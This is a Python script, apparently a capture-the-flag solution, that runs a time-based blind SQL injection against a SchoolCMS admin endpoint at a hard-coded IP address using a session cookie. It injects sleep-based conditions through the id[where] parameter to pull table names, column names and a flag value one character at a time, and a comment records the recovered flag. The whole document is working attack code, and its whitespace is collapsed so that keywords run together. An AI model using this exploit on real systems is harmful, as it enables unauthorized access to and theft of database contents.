import requests import time url0='http://60.209.18.2/index.php'
deftest(bool): url=url0+f"?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and if({bool},sleep(2),0)--+1" tb=time.time() requests.get(url,cookies={'PHPSESSID':'ufj7v0cf19tb37bvu0iapjcp60'}) ta=time.time() # print(ta-tb) returnTrueif ta-tb>=2elseFalse definject(): url0='http://127.0.0.1:63342/php/mysql_injection/time_blind.php' # select='database()' # schoolcms select="select group_concat(table_name) from information_schema.tables where table_schema='schoolcms'" # flag select="select group_concat(column_name) from information_schema.columns where table_name='flag'" # flag select="select flag from flag" # PCL{d3be4ccd-bf19-41fe-bfe4-8d8db7fd0a1e} result='' for pos inrange(1,100): guess=32 whileTrue: bool=f'ascii(substr(({select}),{pos},1))={guess}' if test(bool): break guess+=1 if guess==127: return result+=chr(guess) print(result) if __name__ == '__main__': inject() # test(1)